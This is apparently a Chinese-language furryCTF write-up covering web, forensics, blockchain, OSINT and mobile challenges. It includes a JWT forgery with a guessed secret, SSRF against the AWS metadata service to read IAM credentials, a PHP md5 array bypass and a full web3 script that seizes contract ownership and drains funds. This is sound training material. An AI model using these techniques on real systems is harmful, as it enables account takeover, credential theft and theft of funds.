使用 Python 脚本生成 Token：

```python
import jwt
import datetime

secret = "mwkj"
payload = {
    "user": "admin",
    "iat": datetime.datetime.utcnow(),
    "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
```

使用伪造的 `admin` Token 访问 `/home/validate.php`，成功通过验证并获得 Flag

`furryCTF{JWT_T0k9n_W1th_We6k_Pa5s}`

CCPreview

访问目标地址，发现允许输入 URL 并从服务器端发起请求

这明显是一个 SSRF漏洞的典型场景

由于服务器会访问提供的任何 URL，可以尝试访问内部资源。由于题目提到运行在 AWS EC2 上，尝试访问 AWS 元数据服务

AWS EC2 实例有一个内部元数据服务，位于 `http://169.254.169.254/latest/meta-data/`

```
iam/
network/
public-hostname/
```

确认了 SSRF 漏洞存在，并且可以访问元数据服务

继续看元数据中的 iam 目录

发现了一个名为 `admin-role` 的角色

获取该角色的安全凭证

```
{
  'Code': 'Success',
  'Type': 'AWS-HMAC',
  'AccessKeyId': 'AKIA_ADMIN_USER_CLOUD',
  'SecretAccessKey': 'POFP{ec890e8b-d5f0-4ad8-b9a7-090912f6c580}',
  'Token': 'MwZNCNz... (Simulation Token)',
  'Expiration': '2099-01-01T00:00:00Z'
}
```

在返回的凭证信息中，`SecretAccessKey` 字段包含了 flag：

POFP{ec890e8b-d5f0-4ad8-b9a7-090912f6c580}

ezmd5

访问地址后发现

```php
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag_path = '/flag';
if (isset($_POST['user']) && isset($_POST['pass'])) {
    $user = $_POST['user'];
    $pass = $_POST['pass'];
    if ($user !== $pass && md5($user) === md5($pass)) {
        echo "Congratulations! Here is your flag: <br>";
        echo file_get_contents($flag_path);
    } else {
        echo "Wrong! Hacker!";
    }
} else {
    echo "Please provide 'user' and 'pass' via POST.";
}
?>
```

user和pass不能相等

user和pass的MD5值必须相等

很明显的md5碰撞

利用PHP的md5()函数处理数组时的特性

当传入数组时，md5()函数会返回NULL

NULL === NULL 为true

两个不同的数组 !== 为true

直接让user[]=1&pass[]=2

得到flag：

> Congratulations! Here is your flag: POFP{453426d8-1355-4e51-9a70-d266d867ce98}

forensics

深夜来客

使用tshark分析流量，发现存在大量的端口扫描行为
进一步分析发现除了 FTP (21端口) 外，还有 Wing FTP Server 的 Web 管理端口 (5466) 存在 HTTP 流量
流量中显示 Wing FTP Server 版本信息
在 TCP 流中发现针对 Wing FTP Server Admin 接口的攻击尝试
特别是发现 HTTP 请求中包含 Lua 脚本注入特征：`username=anonymous%00%5d%5d%2...`
这是 Wing FTP Server 的已知漏洞，攻击者利用 `username` 字段闭合 Lua 语句并执行命令
在攻击流量的 TCP 流（Stream 16842/16843）中，发现经过 Base64 编码的恶意载荷或响应数据

通过搜索 `ctf` 或 `furry` 的 Base64 编码形式（如 `ZnVy`），定位到以下 Base64 字符串：
`ZnVycnlDVEZ7RnIwbV9Bbm9uOW0wdXNfVG9fUm8wdH0`
对上述字符串进行 Base64 解码

得到 Flag：`furryCTF{Fr0m_Anon9m0us_To_Ro0t}`

ppc

flagReader

首先访问提供的URL，发现这是一个flag查看器的网页界面。通过查看网页源代码，可以发现前端JavaScript代码使用了以下API接口：

`/api/flag/length` 获取flag长度

`/api/flag/char/{position}` 获取指定位置的字符

通过测试API接口，确认了正确的路径是 `/api/flag/length` 和 `/api/flag/char/{position}`，返回的是JSON格式的数据

从API响应中得知，Flag总长度为480个字符，每个字符都有一个JSON响应，包含字符值和是否为Base16编码的标记

编写Python脚本，循环请求从位置1到480的所有字符，并将它们拼接成一个完整的字符串

根据题目提示，对拼接后的完整字符串进行两次Base16解码，第一次Base16解码得到中间结果，第二次Base16解码得到最终的flag

```python
import requests
import binascii

def get_flag():
    base_url = "http://ctf.furryctf.com:35936/api/flag/char/"
    flag_chars = []
    for i in range(1, 481):
        response = requests.get(f"{base_url}{i}")
        data = response.json()

        if data['status'] == 'success':
            flag_chars.append(data['char'])
    encoded_string = ''.join(flag_chars)
    print(encoded_string[:100])
    try:
        decoded_once = binascii.unhexlify(encoded_string).decode('utf-8')
        print(decoded_once[:100])
        decoded_twice = binascii.unhexlify(decoded_once).decode('utf-8')
        print(decoded_twice)
        return decoded_twice
    except Exception as e:
        print(e)
        return None

if __name__ == "__main__":
    flag = get_flag()
    if flag:
        print(flag)
```

```
furryCTF{21ec42bf-d921-4b81-9be2-c4160c68c2cc-2f16eeab-1345-44c6-9d9f-6715a32225a8
-dccb8de2-2cb9-45a4-906a-7b6be4fcbfbf}
```

blockchain

好像忘了啥

我们访问地址获取到智能合约的源代码：

```
contract VulnerableWallet {
    address public owner;
    string private flag;
    uint256 public balance;

    event Withdrawal(address indexed recipient, uint256 amount);
    event FlagRevealed(address indexed revealer, string flag);

    constructor() payable {
        owner = msg.sender;
        flag = "furryCTF{OWO_This_Is_Just_An_Example_Flag}";
        balance = msg.value;
    }

    function setFlag(string memory _flag) public {
        require(msg.sender == owner, "Only owner can set flag");
        flag = _flag;
    }

    receive() external payable {
        balance += msg.value;
    }

    function withdrawAll() public {
        require(msg.sender == owner, "Only owner can withdraw");
        uint256 amount = balance;
        require(amount > 0, "No balance to withdraw");

        balance = 0;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        emit Withdrawal(msg.sender, amount);
        emit FlagRevealed(msg.sender, flag);
    }

    function ownerWithdraw(uint256 amount) public {
        require(msg.sender == owner, "Only owner can withdraw");
        require(amount <= balance, "Insufficient balance");

        balance -= amount;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        emit Withdrawal(msg.sender, amount);
        if(balance == 0) emit FlagRevealed(msg.sender, flag);
    }

    function deposit() public payable {
        balance += msg.value;
    }

    function getStatus() public returns (address, uint256) {
        return (owner = msg.sender, balance);
    }

    function getContractBalance() public view returns (uint256) {

```

```
59            return address(this).balance;
60        }
    }
```

在 `getStatus()` 函数中存在漏洞：

```
1   function getStatus() public returns (address, uint256) {
2       return (owner = msg.sender, balance);
3   }
```

这段代码本意是返回当前所有者和余额，但使用了赋值操作符 `=` 而不是比较操作符 `==`，导致任何调用此函数的人都会成为新的所有者

可以这样：

调用 `getStatus()` 函数，这会将合约的所有权转移给我们

调用 `withdrawAll()` 函数，由于我们现在是所有者，可以提取合约中的所有资金

在执行 `withdrawAll()` 时，合约会触发 `FlagRevealed` 事件，其中包含flag

Python

```python
from web3 import Web3
import json
import time

# Contract information
RPC_URL = "http://ctf.furryctf.com:36053/rpc/"
CONTRACT_ADDRESS = "0x98688811387152a1435ae1498C132BBEb2EBf302"
CONTRACT_ABI = [
    {
        "inputs": [],
        "stateMutability": "payable",
        "type": "constructor",
        "payable": True,
        "signature": "constructor"
    },
    {
        "anonymous": False,
        "inputs": [
            {
                "indexed": True,
                "internalType": "address",
                "name": "revealer",
                "type": "address"
            },
            {
                "indexed": False,
                "internalType": "string",
                "name": "flag",
                "type": "string"
            }
        ],
        "name": "FlagRevealed",
        "type": "event",
        "signature": "0xf5c36edeedfbbbf8fc106489729981c5646f73f0c72dc2bc5a5bd0e29833d22e"
    },
    {
        "anonymous": False,
        "inputs": [
            {
                "indexed": True,
                "internalType": "address",
                "name": "recipient",
                "type": "address"
            },
            {
                "indexed": False,
                "internalType": "uint256",
                "name": "amount",
                "type": "uint256"
            }
        ],
        "name": "Withdrawal",
        "type": "event",
        "signature": "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65"
```

```
    },
    {
        "inputs": [],
        "name": "balance",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": True,
        "signature": "0xb69ef8a8"
    },
    {
        "inputs": [],
        "name": "deposit",
        "outputs": [],
        "stateMutability": "payable",
        "type": "function",
        "payable": True,
        "signature": "0xd0e30db0"
    },
    {
        "inputs": [],
        "name": "getContractBalance",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": True,
        "signature": "0x6f9fb98a"
    },
    {
        "inputs": [],
        "name": "getStatus",
        "outputs": [
            {
                "internalType": "address",
                "name": "",
                "type": "address"
            },
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0x4e69d560"
```

```
    },
    {
        "inputs": [],
        "name": "owner",
        "outputs": [
            {
                "internalType": "address",
                "name": "",
                "type": "address"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": True,
        "signature": "0x8da5cb5b"
    },
    {
        "inputs": [
            {
                "internalType": "uint256",
                "name": "amount",
                "type": "uint256"
            }
        ],
        "name": "ownerWithdraw",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0x33f707d1"
    },
    {
        "inputs": [
            {
                "internalType": "string",
                "name": "_flag",
                "type": "string"
            }
        ],
        "name": "setFlag",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0x3438e82c"
    },
    {
        "inputs": [],
        "name": "withdrawAll",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0x853828b6"
    },
    {
        "stateMutability": "payable",
        "type": "receive",
        "payable": True
    }
]
```

```
ATTACKER_PRIVATE_KEY = "0x95188b46944ff3d108fd61b5410ecdc9173cb66956721f846c9b929a1cdc825f"
ATTACKER_ADDRESS = Web3.to_checksum_address("0x079bf13d1D75803a8f382aA79AD8C034DAE54109")

def main():
    w3 = Web3(Web3.HTTPProvider(RPC_URL))

    if not w3.is_connected():
        return

    print(RPC_URL)
    print(ATTACKER_ADDRESS)
    contract = w3.eth.contract(address=Web3.to_checksum_address(CONTRACT_ADDRESS), abi=CONTRACT_ABI)
    initial_owner = contract.functions.owner().call()
    print(initial_owner)
    initial_balance = contract.functions.balance().call()
    contract_eth_balance = w3.eth.get_balance(Web3.to_checksum_address(CONTRACT_ADDRESS))
    print(w3.from_wei(initial_balance, 'ether'))
    print(w3.from_wei(contract_eth_balance, 'ether'))

    status_func = contract.functions.getStatus()
    tx_data = status_func._encode_transaction_data()

    transaction = {
        'to': Web3.to_checksum_address(CONTRACT_ADDRESS),
        'from': ATTACKER_ADDRESS,
        'data': tx_data,
        'nonce': w3.eth.get_transaction_count(ATTACKER_ADDRESS),
        'gasPrice': w3.eth.gas_price
    }

    try:
        transaction['gas'] = w3.eth.estimate_gas(transaction)
    except Exception as e:
        print(e)
        transaction['gas'] = 200000

    signed_txn = w3.eth.account.sign_transaction(transaction, private_key=ATTACKER_PRIVATE_KEY)
    tx_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction)
    print(tx_hash.hex())
    tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
    print(tx_receipt.blockNumber)
    current_owner = contract.functions.owner().call()
    print(current_owner)

    if current_owner.lower() == ATTACKER_ADDRESS.lower():
        print("success")
    else:
        print("failed")
        return

    withdraw_func = contract.functions.withdrawAll()
    withdraw_tx_data = withdraw_func._encode_transaction_data()

```

```
    withdraw_tx = {
        'to': Web3.to_checksum_address(CONTRACT_ADDRESS),
        'from': ATTACKER_ADDRESS,
        'data': withdraw_tx_data,
        'nonce': w3.eth.get_transaction_count(ATTACKER_ADDRESS),
        'gasPrice': w3.eth.gas_price
    }

    try:
        withdraw_tx['gas'] = w3.eth.estimate_gas(withdraw_tx)
    except Exception as e:
        print(e)
        withdraw_tx['gas'] = 200000

    signed_withdraw_txn = w3.eth.account.sign_transaction(withdraw_tx, private_key=ATTACKER_PRIVATE_KEY)
    withdraw_tx_hash = w3.eth.send_raw_transaction(signed_withdraw_txn.raw_transaction)
    print(withdraw_tx_hash.hex())
    withdraw_receipt = w3.eth.wait_for_transaction_receipt(withdraw_tx_hash)
    print(withdraw_receipt.blockNumber)
    flag_revealed_events = contract.events.FlagRevealed().process_receipt(withdraw_receipt)

    if flag_revealed_events:
        for event in flag_revealed_events:
            flag = event['args']['flag']
            print(flag)
            return flag
    else:
        latest_block = w3.eth.block_number
        past_events = contract.events.FlagRevealed.create_filter(
            fromBlock=latest_block-10,
            toBlock='latest'
        )

        past_logs = past_events.get_all_entries()
        if past_logs:
            for log in past_logs:
                flag = log['args']['flag']
                print(flag)
                return flag
    final_balance = contract.functions.balance().call()
    print(w3.from_wei(final_balance, 'ether'))

    return None

if __name__ == "__main__":
```

运行后成功获取flag：`furryCTF{831e59086b4f_W31coMe_70_61ocKcha1N5_WORId_4WA}`

osint

我住哪来着

鼠标右键查看属性，点详细信息

直接看到度分秒格式的经纬度 ：

纬度 31; 58; 53.4431999999941354

经度 118; 42;22.9283999999752552

转换成十进制：

31.981512° N

118.706369° E

然后在支持经纬度查询的网站上查询一下

furryCTF{汇豪行政公馆}

mobile

无尽弹球

由提示直接用mt管理器打开dex++搜索114514，没有结果

再搜114514的十六进制0x1bf52，然后改成0x1

保存签名后玩游戏得到flag，换一下题目要求的格式得到：

furryCTF{Be_The_King_Of_P1ngP0ng}